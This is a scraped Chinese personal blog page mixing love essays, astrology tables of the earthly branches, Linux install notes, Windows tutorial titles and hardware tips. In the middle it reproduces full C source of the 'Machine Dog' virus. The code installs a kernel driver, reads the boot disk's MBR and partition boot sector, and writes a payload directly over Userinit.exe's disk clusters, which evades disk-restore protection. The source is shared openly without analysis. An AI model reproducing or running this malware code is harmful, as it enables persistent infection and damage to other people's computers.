|
|
用户名:lason 笔名:LasOn 地区: 山东-- 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
连就连,我俩结交订百年,谁若九十七岁死,奈何桥上等三年
爱情是一部忧伤的童话
(作者置顶)
FLASH-白月光
(作者置顶)
歌是那么的凄美,诗却是让人能回到现实中来反省,我喜欢这歌,可说不请为什么会喜欢,想必是自已溶进去了吧,就像一颗水滴在阳光下被蒸发,从而溶入了空气一样,那感觉是在飞,在一种无奈的爱海洋里飞,可再也找不到了尽头,我期待着月光的出现。用那冷冷的光照在我的身上,让我在凉意中找回自己,可在这歌声中,我知道,我再也找不回自己了,我在风中无力的哭泣着,可我的哭泣却不能改变什么,音乐停了,可我的心却再也停不了。。。。。。。。。
送给天下所有的男人
(作者置顶)
他和她过的很好,他是公司的骨干.他们经历了彼此的了解和爱慕才走到的一起.在他们还在恋爱的时候.他妈妈就拉着她的手进到厨房.告诉她怎么做洋葱因为他最愿意吃洋葱.她记住了.结婚以后她每天换着花样的给他做最爱吃的洋葱.
这个男人在一次去北京的出差中遇到了大学时的初恋女同学.从那以后他总是借口去北京和这个女同学幽会.有的时候他的女同学也来他所在的城市找他.天有不测风云.他的妻子被诊断出晚期癌症.在他妻子住院的时候,有一次他在收拾卫生间的时候在角落里发现一个木盒子.打开之后里面有一张纸和几根女人的头发.他的妻子是短发.这些头发是他和他的女同学一次在家里幽会和缠绵时留下的.打开纸上面是他妻子写的一句话{我相信我的丈夫是爱我的)这个男人哭了.他跑到医院想问他的妻子愿意吃什么他去做.他的妻子说你会做什么啊,还是去大街上买一份血肠豆腐吧.这么多年了他竟然才知道妻子愿意吃血肠豆腐.
后来她永远的走了.这个男人在厨房里面发疯的给自己做洋葱.当他拨洋葱的时候被洋葱辣的泪流满面.他这个时候才知道他的妻子每天都是这样给自己做洋葱的.他情人的手那么白嫩.什么也不会做.只有他妻子才会为了他爱吃的菜而天天这样做洋葱.他现在才真正明白.真正的爱情就像是拨洋葱.当你一片一片拨下去.总有一片会让你累流满面
男人啊!珍惜你所拥有的吧.人只活一辈子等失去才后悔不惭愧吗
驱动网址大全,一定有你要找的。收藏吧
替换explorer.exe
机器狗源码(C的)
// Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
//==============================================================================
#include <pshpack1.h>
typedef struct _PARTITION_ENTRY
{
UCHAR active; // 能否启动标志
UCHAR StartHead; // 该分区起始磁头号
UCHAR StartSector; // 起始柱面号高2位:6位起始扇区号
UCHAR StartCylinder; // 起始柱面号低8位
UCHAR PartitionType; // 分区类型
UCHAR EndHead; // 该分区终止磁头号
UCHAR EndSector; // 终止柱面号高2位:6位终止扇区号
UCHAR EndCylinder; // 终止柱面号低8位
ULONG StartLBA; // 起始扇区号
ULONG TotalSector; // 分区尺寸(总扇区数)
} PARTITION_ENTRY, *PPARTITION_ENTRY;
//==============================================================================
typedef struct _MBR_SECTOR
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
} MBR_SECTOR, *PMBR_SECTOR;
//==============================================================================
typedef struct _BBR_SECTOR
{
USHORT JmpCode; // 2字节跳转指令,跳转到引导代码
UCHAR NopCode; // 1字节nop指令,填充用,保证跳转指令长3个字节
UCHAR OEMName[8]; // 8字节的OEMName
// 下面开始为: BPB( BIOS Parameter Block )
USHORT BytesPerSector; // 每个扇区的字节数 (512 1024 2048 4096)
UCHAR SectorsPerCluster; // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)
USHORT ReservedSectors; // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32
UCHAR NumberOfFATs; // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
USHORT RootEntries; // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]
USHORT NumberOfSectors16; // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
UCHAR MediaDescriptor; // 介质类型
USHORT SectorsPerFAT16; // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]
USHORT SectorsPerTrack; // 用于INT 0x13中断的每个磁道的扇区数
USHORT HeadsPerCylinder; // 用于INT 0x13中断的每个柱面的磁头数
ULONG HiddenSectors; // 包含该FAT卷的分区之前的隐藏扇区数
ULONG NumberOfSectors32; // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]
// 下面开始为: EBPB ( Extended BIOS Parameter Block )
ULONG SectorsPerFAT32; // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;
} BBR_SECTOR, *PBBR_SECTOR;
#include <poppack.h>
#define PARTITION_TYPE_NTFS 0x07
#define PARTITION_TYPE_FAT32 0x0B
#define PARTITION_TYPE_FAT32_LBA 0x0C
//==============================================================================
#define STR_SYSFILE_PATH TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")
#define STR_VIRFILE_PATH TEXT("%SystemRoot%\\System32\\Userinit.exe")
#define STR_DSKDEVICE_NAME TEXT("\\\\.\\PhysicalDrive0")
#define STR_HDDDEVICE_NAME TEXT("\\\\.\\PhysicalHardDisk0")
//==============================================================================
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
//==============================================================================
DWORD InstallAndStartDriver(HMODULE ModuleHandle)
{
TCHAR filePath[MAX_PATH];
HANDLE fileHandle;
HRSRC hSysRes;
DWORD dwWritten;
DWORD dwSysLen;
PVOID lpSysBuf;
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(
(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))
||
(0 == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))
||
(NULL == (lpSysBuf = LockResource(hSysRes)))
||
(0 == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))
||
(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))
)
{
errCode = GetLastError();
goto FunExit00;
}
if(
!WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)
||
!SetEndOfFile(fileHandle)
||
!FlushFileBuffers(fileHandle)
)
{
errCode = GetLastError();
}
CloseHandle(fileHandle);
if(ERROR_SUCCESS != errCode)
{
goto FunExit01;
}
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
hService = CreateService(
hSCManager,
TEXT("PciHdd"),
TEXT("PciHdd"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
{
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
}
hService = CreateService(
hSCManager,
TEXT("PciHdd"),
TEXT("PciHdd"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
errCode = GetLastError();
goto FunExit02;
}
}
if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START)))
{
errCode = GetLastError();
goto FunExit02;
}
StartService(hService, 0, NULL);
CloseServiceHandle(hService);
FunExit02:
CloseServiceHandle(hSCManager);
FunExit01:
DeleteFile(filePath);
FunExit00:
return errCode;
}
//==============================================================================
DWORD StopAndDeleteDriver(VOID)
{
TCHAR filePath[MAX_PATH];
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit00;
}
if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
FunExit01:
CloseServiceHandle(hSCManager);
FunExit00:
ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath));
DeleteFile(filePath);
return errCode;
}
//==============================================================================
// 感染硬盘第一个分区的指定的文件
//
// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息
//
// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。
//
// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据,确定定位是否正确
//
// 入口参数:
// 要感染的文件名(完整路径)
//
// Return value:
// Success -> NULL
// Failed -> 指向出错信息的指针
//==============================================================================
DWORD WriteVirusToDisk(LPCTSTR VirusFile)
{
STARTING_VCN_INPUT_BUFFER iVcnBuf;
UCHAR oVcnBuf[272];
PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;
DWORD dwVcnExtents;
LARGE_INTEGER startLcn;
PUCHAR lpClusterBuf;
DWORD dwClusterLen;
UCHAR dataBuf[512];
UCHAR diskBuf[512];
DWORD dataLen;
LARGE_INTEGER diskPos;
PPARTITION_ENTRY lpPartition;
ULONG dwPartitionStart;
ULONG dwPartitionType;
PBBR_SECTOR lpBootSector;
DWORD SectorsPerCluster;
HANDLE hHddDevice;
HANDLE hDskDevice;
HANDLE hVirusFile;
DWORD errCode = ERROR_SUCCESS;
if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit00;
}
//
if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))
{
errCode = GetLastError();
goto FunExit01;
}
iVcnBuf.StartingVcn.QuadPart = 0;
RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));
if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL))
{
errCode = GetLastError();
goto FunExit02;
}
lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0];
dwVcnExtents = lpVcnBuf->ExtentCount;
startLcn = lpVcnBuf->Extents[0].Lcn;
if(!dwVcnExtents)
{
errCode = (ULONG)(-3); // 文件太小, 不能操作
goto FunExit02;
}
if(startLcn.QuadPart == -1)
{
errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作
goto FunExit02;
}
ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL);
// 打开第一个物理硬盘
if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit02;
}
// 读取硬盘第一个扇区(MBR)
SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]);
if(lpPartition[0].active != 0x80)
{
errCode = (ULONG)(-1); // 分区不是启动分区
goto FunExit03;
}
dwPartitionType = lpPartition[0].PartitionType;
if(
dwPartitionType != PARTITION_TYPE_FAT32
&&
dwPartitionType != PARTITION_TYPE_FAT32_LBA
&&
dwPartitionType != PARTITION_TYPE_NTFS
)
{
errCode = (ULONG)(-2); // 不支持的磁盘分区
goto FunExit03;
}
dwPartitionStart = lpPartition[0].StartLBA;
diskPos.QuadPart = dwPartitionStart * 512;
// 读取启动分区的第一个扇区(启动扇区)
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpBootSector = (PBBR_SECTOR)&diskBuf[0];
SectorsPerCluster = lpBootSector->SectorsPerCluster;
// 根据FAT32/NTFS计算Userinit的起始簇的偏移量
diskPos.QuadPart = dwPartitionStart;
diskPos.QuadPart+= lpBootSector->ReservedSectors;
if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)
{
diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32;
}
diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;
diskPos.QuadPart*= 512;
// 检查文件寻址
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))
{
errCode = (ULONG)(-5); // 寻址文件不成功
goto FunExit03;
}
// 分配缓冲
dwClusterLen = SectorsPerCluster*512;
lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲
if(!lpClusterBuf)
{
errCode = GetLastError(); // 寻址文件不成功
goto FunExit03;
}
// 把Virus文件的数据从SYS文件资源段中解码出来
if(!DeviceIoControl(
hVirusFile,
IOCTL_MYDEV_Fun_0xF01,
(PVOID)0x00401000, // 本执行文件代码段的开始, 在C语言中我不会表达
0x73E, // 本执行文件代码段的长度, 在C语言中我不会表达
lpClusterBuf,
dwClusterLen,
&dataLen,
NULL
))
{
errCode = GetLastError();
goto FunExit04;
}
// 写Virus文件的数据到磁盘
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL);
FlushFileBuffers(hDskDevice);
errCode = ERROR_SUCCESS;
FunExit04:
GlobalFree(lpClusterBuf);
FunExit03:
CloseHandle(hDskDevice);
FunExit02:
CloseHandle(hVirusFile);
FunExit01:
CloseHandle(hHddDevice);
FunExit00:
return errCode;
}
//==============================================================================
int _tmain(int argc, _TCHAR* argv[])
{
TCHAR filePath[MAX_PATH];
DWORD errCode;
if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetModuleHandleA(NULL))))
{
MessageBox(NULL, TEXT("驱动程序的加载没有成功,程序将无法运行"), NULL, MB_ICONERROR);
goto FunExit00;
}
ExpandEnvironmentStrings(STR_VIRFILE_PATH, &filePath[0], sizeof(filePath));
WriteVirusToDisk(filePath);
StopAndDeleteDriver();
FunExit00:
return 0;
}
来自微软的计算机教程(非常全面)
Windows Server 2003从入门到精通系列之一:详细探讨Windows server 2003操作系统的安装方法
Windows Server 2003从入门到精通系列之二:创建和管理用户帐户
Windows Server 2003从入门到精通系列之三:NTFS特性在Windows 2003上的体现
Windows Server 2003从入门到精通系列之四:网络共享资源的各种访问方法
Windows Server 2003从入门到精通系列之五:Windows server 2003安全策略
Windows Server 2003从入门到精通系列之六:Windows server 2003中的磁盘管理
Windows Server 2003从入门到精通系列之七:Windows server 2003灾难恢复——备份
Windows Server 2003从入门到精通系列之八:使用IPSec加强系统安全性
Windows Server 2003从入门到精通系列之九:TCP/IP协议基础
Windows Server 2003从入门到精通系列之十:Windows server 2003 服务应用大全之DNS服务使用详解
Windows Server 2003从入门到精通系列之十一:Windows server 2003 服务应用大全之DHCP服务使用详解
Windows Server 2003从入门到精通系列之十二:Windows server 2003 服务应用大全之WINS服务使用详解
Windows Server 2003从入门到精通系列之十三:如何使用Windows server 2003搭建VPN服务器
Windows Server 2003从入门到精通系列之十四:利用SUS实现自动补丁管理
Windows Server 2003从入门到精通系列之十五:活动目录的设计及部署方法
Windows XP SP2 新功能与使用技巧
Windows 2003 群集技术概述
IIS 6.0 安全性最佳实践
探究Windows XP SP2 Firewall——企业环境中的部署
探究Windows XP SP2 Firewall——SOHO之部署
创建 Windows Server 2003 AD 域
组策略在 Windows 2000 和 Windows 2003 中的应用
Windows 管理大全之启动排错全接触
Windows 2003 服务应用大全之 IIS6.0 使用详解
使用GPMC随心所欲管理组策略
深入了解活动目录操作主机角色
Windows 2003 SP1 功能预览与演示
AD —- 活动目录的日常管理操作(五)
AD —- 活动目录的日常管理操作(四)
AD —- 活动目录的日常管理操作(三)
AD —- 活动目录的日常管理操作(二)
AD —- 活动目录的日常管理操作(一)
使用 ADS 部署 Windows 服务器
改善系统操作,加强系统安全 - Windows NT 4.0 到2003安全及操作比较
确保 Windows 服务器的安全性
利用 Windows 平台实现强大的磁盘管理功能
防御与对策
轻松实现集中管理:组策略全面接触
实现高可用的文件访问:基于活动目录的分布式文件系统
轻松从NT4升迁到活动目录
使用活动目录强化企业网络安全
活动目录的商业价值与特性演示
灵活利用组策略做网络管理
Virtual PC 2004——构建虚拟测试、开发环境
用微软解决方案进行有效的安全更新管理
活动目录灾难恢复
Cluster 技术实现关键技术应用
威胁和威胁建模
Windows 2003 新特性展示
Windows 2003 域的重命名
《唯舞独尊》就要开测了,你还没有帐号吗?来这里领取吧
地支篇
子
五行:属水
性别:属阴
方位:北方
月令:十一月
节气:大雪为子月节;冬至为子月气。
藏干:癸
生:子生甲乙寅卯;庚辛申酉生子。
克:子克丙丁己午;戊己辰戌丑未克子。
合:子丑相合
刑:子卯相刑
冲:子午相冲
害:子未相害
三合:申子辰合成水局
方合:亥子丑合为北方
例:
子生 甲申 生子,与子三合成水局
子克 丙子 十一月,大雪至小寒,阴水,藏癸
子克 丁丑 克子,合子,又会北方
子克 丁未 克子,害子
丑
五行:属土
性别:属阴
方位:中央
月令:十二月
节气:小寒为丑月节;大寒为丑月气。
藏干:己癸辛
生:丑生庚辛申酉;丙丁己午生丑。
克:丑克壬癸亥子;甲乙寅卯克丑。
合:子丑相合
刑:酉戌相刑
冲:丑未相冲‘
害:丑午相害
三合:乙酉丑合成金局
方合:亥子丑合为北方
例:
丑克 癸酉 与丑三合成金局,丑生
克丑 乙丑 阴土,十二月,小寒至立春,藏己辛癸
生丑 丙子 丑克,合丑
克丑 甲午 生丑,害丑
寅
五行:属木
性别:属阳
方位:东方
月令:正月
节气:立春为寅月节,雨水为寅月气。
藏干:甲丙戊
生:寅生丙丁巳午,壬癸亥子生寅。
克:寅克戊己辰戌丑未,庚辛申酉克寅。
合:寅亥相合
刑:寅巳相刑
冲:寅申相冲
害:寅巳相害
三合:寅午戌合成火局
方合:寅卯辰合为东方
例:
比寅 乙巳 寅生,害寅,刑寅
寅克 戊寅 正月,立春至惊蛰阳木,藏甲内戊
克寅 庚申 克寅,冲寅
寅生 丁亥 生寅,合寅
卯
五行:属木
性别:属阴
方位:东方
月令:二月
节气:惊蛰为卯月节;春分为卯月气。
藏干:乙
生:卯生丙丁己午;壬癸亥子生卯。
克:卯克戊己辰戌丑未;庚辛申酉克卯
合:卯戌相合
刑:子卯相刑
冲:卯酉相冲
害:卯辰相害
三合:亥卯未合成木局
方合:寅卯辰合为东方
例:
卯生 丙子 生卯,刑卯
克卯 辛卯 二月,惊蛰至清明,阴木,藏乙
生卯 壬辰 与卯合为东方,害卯,卯克
卯克 己酉 克卯,卯冲
辰
五行:属土
性别:属阳
方位:中央
月令:三月
节气:清明为辰月节,谷雨为辰月气。
藏干:戊乙癸
生:辰生庚辛申酉;丙丁已午生辰。
克:辰克壬癸亥子;甲子寅卯克辰。
合:辰酉相合
刑:二辰自刑
冲:辰戌相冲
害:卯辰相害
三合:申子辰合成水局
方合:寅卯辰合为东方
例:
生辰 丁酉 辰生,合辰
克辰 申辰 三月,清明至立夏,阳土,藏戊乙癸
辰克 壬戌 比辰,冲辰
巳
五行:属火
性别:属阳
方位:南方
月令:四月
节气:立夏为巳月节;小满为巳月气。
藏干:丙戊庚
生:巳生戊己辰戌丑未;甲乙寅卯生巳。
克:巳克庚辛申酉;壬癸亥子克巳。
合:巳申相合
刑:寅己相刑巳申相刑
冲:已亥相冲
害:寅巳相害
三合:巳酉丑合成金局
方合:己午未合为南方
例:
巳生 戊寅 生巳 刑巳,害巳,
比巳 丁己 四月,立夏至芒种,阳火,藏丙戊庚
克巳 壬申 巳克,合巳
巳克 辛亥 克巳,冲巳
午
五行:属火
性别:属阴
方位:南方
月令:五月
节气:芒种为五月节夏至为五月气
藏干:丁己
生:午生戊己辰戌丑未;甲乙寅卯生午
克:午克庚辛申酉;壬癸亥子克午
合:午未相合
刑:二午自刑
冲:子午相冲
害:丑午相害
三合:寅午戌合成火局
方合:巳午未合为南方
例:
午克 辛丑 午生,害午
生午 甲午 五月,芒种至小暑,阴火,藏丁己
克午 壬子 克午,冲午
比午 丁未 午生,合午,与午合为南方
未
五行:属土
性别:属阴
方位:中央
月令:六月
节气:小暑为未月节;大暑为未月气。
藏干:己丁乙
生:未生庚辛申酉;丙丁已午生未。
克:未克壬癸亥子;甲乙寅卯克未。
合:午未相合
刑:戌未相刑
冲:丑未相冲
害:子未相害
三合:亥卯未合成木局
方合:巳午未合为南方
例:
生未 丙戌 比未,刑未
克未 乙未 六月,小暑至产秋,阴土,藏乙丁己
未生 辛丑 比未,冲未
比未 戊子 未克,害未
申
五行:属金
性别:属阳
方位:西方
月令:七月
节气:立秋为申月节,处暑为申月气。
藏干:戊庚壬
生:申生壬癸亥子;戊己辰戌丑未生申。
克:申克甲乙寅卯;丙丁己午克申。
合:巳申相合
刑:巳申相刑
冲:寅申相冲
害:申亥相害
三合:申子辰合成水局
方合:申酉戌合为西方
例:
申克 乙亥 申生,害申
申克 甲申 七月,立秋至白露,阳金,藏戊庚壬
生申 己巳 克申,合申,刑申
克申 丙寅 申克,冲申
酉
五行:属金
性别:属阴
方位:西方
月令:八月
节气:白露为酉月节;秋分为酉月气。
藏干:辛
生:酉生壬癸亥子;戊己辰戌丑未生酉。
克:酉克甲乙寅卯;丙巳午克酉。
合:辰酉相合
刑:二酉自刑
冲:卯酉相冲
害:酉戌相害
三合:巳酉丑合成金局
方合:申酉戌合为西方
例:
克酉 丙辰 生酉,合酉
克酉 丁酉 八月,白露至寒露,阴金,藏辛。
酉生 癸卯 酉克,冲酉
酉生 壬戌 生酉,害酉,与酉合为西方
戌
五行:属土
性别:属阳
方位:中央
月令:九月
节气:寒露戌月节,霜降为戌月气。
藏干:戊辛丁
生:戌生庚辛申酉;丙丁巳午生戌。
克:戌克壬癸亥子;甲乙寅卯克戌。
合:卯戌相合
刑:丑刑戌戌刑未
冲:辰戌相冲
害:酉戌相害
三合:寅午戌合成火局
方合:申酉戌合为西方
例:
戌克 癸卯 克戌,合戌
戌克 壬戌 九月,寒露至立冬,阳土,藏戊辛丁
生戌 丙辰 比戌,冲戌
生戌 丁酉 戌生,害戌,与戌合为西方
亥
五行:属水
性别:属阳
方位:北方
月令:十月
节气:立冬为亥月节,小雪为亥月气。
藏干:壬甲
生:亥生甲乙寅卯;庚辛申酉生亥。
克:亥克丙丁巳午;戊己辰戌丑未克亥。
合:寅亥相合
刑:二亥自刑
冲:已亥相冲
害:申亥相害
三合:亥卯未合成木局
方合:亥子丑合为北方
例:
克亥 戊寅 亥生,合亥
比亥 癸亥 十月,立冬至大雪,阳水,藏壬甲
亥克 丙申 生亥,害亥
比亥 癸巳 亥克,冲亥
六亲分属例(神鉴经)
火珠林
梅花析卦法秘注论
(二)类象金口定来意,五行生克看旺衰。
寻找真正的入口(OEP)--广义ESP定律
脱壳的各种方法
完美解决封装后不能安装冰点
收集一些网站地址
CMD下建立VPN
一个程序员应该具备的基础知识和概念
Linux环境下软件安装总结
一篇工作室兄弟写的文章,虽然我还没系统学习Linux,不过也计划中了,这篇文章已被LINUX技术站转载,做为新手学习是篇不错的参考。(转过来时改了里面几个错别字,呵呵,笨猫以后写文章还是检查下哈)
Linux环境下软件安装总结 作者:Cv_lion
最近花了大量时间学习LINUX,通过系统的看书和到网络上查阅资料,得到了一些体会,所以我以学习笔记的形式写出我的学习心得。
通过这段时间大量的查阅资料,验证了高手些说的话。很多文章都是COPY过来,又COPY过去,错的依然有错,真正写的还是少数人,我说这话没有别的意思,只是想告诉大家,要想系统学习知识,还是多看原著,推荐看国外书籍[原因自己想,我的英语很差,但是我仍然极力推荐]。
今天就总结下LINUX环境下软件的安装总结,LINUX已经开始普及,作为普通的网民,我们应该早打算,早熟悉我们即将要使用的环境。LINUX与WINDOWS环境下的软件安装是截然不同的。LINUX下面的软件大致有这几种类型:
tar包:例如xxx.1.2.3-3.tar.gz/xxx.1.2.3-3.tar.bz2/xxx.1.2.3-3.tar
rpm包:例如xxx.1.2.3-3.rpm
dpkg包:例如xxx.1.2.3-3.deb
bin包:例如xxx.1.2.3-3.bin
大家可能从上面隐约看出,不管什么包,它的命名都是都有一定的规律,他们的规律是:名称-主版本-修正版-类型。
LINUX的文件安装类型由文件的类型决定,所以不难得出,LINUX环境下,软件的安装主要分为三类:
A: 源代码安装,前面提到的文件类型tar包。
安装实列: tar -xvf xxx.1.2.3-3.tar tar -zxvf xxx.1.2.3-3.tar.gz tar -jxvf xxx.1.2.3-3.tar.bz2---先对TAR包进行解压[相关知识请自行查阅] 进入解压后的文件目录 ./configure----对原代码进行编译[重要提示:编译之前一定要安装GCC/C等编译环境,否则无法进行编译]在这里有的软件不需要编译,直接运行就可以了,象fitcx输入法。 make---生成连接、模块文件。 make install---进行安装 make clean----清楚安装的临时文件
B: 可执行文件安装,前面提到的bin
安装实列: chmod u+x xxx.1.2.3-3.bin ---[这里是为bin这个软件授予执行权限,否则无法直接运行] ./xxx.1.2.3-3.bin[这样的软件有ZEND等,一般里面包含有一个RPM编译好的执行文件继续进行安装,直到安装完成]
C: 可执行软件包安装,前面提到的rpm、deb
安装实列: rpm -ivh xxx.1.2.3-3.rpm[这种文件安装最为简单,无须做任何准备,但是建议初学者坚持使用源代码进行编译,会学到很多东西]
dpkg –i xxx.1.2.3-3.deb
在LINUX环境下,安装文件基本就这几种类型和简单的安装方法,当然里面有很多参数,配合起来,功能相当强大,相关资料请自行查阅。
很多朋友安装的软件的时候,不知道选哪个版本的,因为在LINUX下,有很多版本。所以推荐一个小命令,为大家再选择安装软件的时候节约时间和空间。
uname -a [会看到自己系统的内核版本等信息,很快就能决定需要什么版本的安装软件了]
安装到是安装完成了,当你觉得某个软件不需要了,想把他卸载,怎么办??
使用whereis XXX[进程名] 得到软件安装的所有目录,然后删除。
rpm -e xxxx
dekg -e 软件包名
总结下:上文简单区分了文件类型和安装类型,以及各个类型文件的安装方法以及卸载。但是上面只是沧海一粟,很多扩展功能没有讲解,请读者自行查阅。
删除串口大硬盘任务栏上的添加删除硬件图标
前两天一个同事问的,方便以后他们查询帖上来吧。
有如下解决办法:
1.开机按Del进入BIOS,开启IDE映射功能。把SATA映射成PATA设备。(会影响串口硬盘性能,相当于把sata硬盘当成pata硬盘用)具体操作请查看主板说明书。
2“开始----控制面板-----添加/删除程序——NVIDIA Drivers,点击“更改/删除”,把NVIDIA的 SW IDE驱动卸载就行了”重启后图标就没了 (但这样你的串口硬盘会使用IDE通道,如IDE设备多了,如:光驱、刻录机 就会影响你的硬盘性能)
3.在装主板驱动时不装主板的IDE驱动就不会出现这个现象,但是不安装主板驱动肯定会对影响磁盘读取的稳定性、性能和兼容性,强烈建议不要这么做
4.等NVIDIA推出新的主板bios或驱动(是等哦,不一定会推出的哦)
总结:串口硬盘安装了主驱动后(严格说,系SW IDE磁盘驱动 请留意一下主板驱动的安装过程)就会出现这种情况,正常!!!
建议:隐藏它(操作:任务栏——>右键——>属性——>任务栏——>”隐藏不活动的图标”前打勾 ——>自定义……之后的你应该知道怎么做了吧)
Windows通用克隆系统入门基础知识简介
Windows通用克隆基础知识之二-关于封装系统的步骤及注意事项
使用雨林系统封装工具的要点说明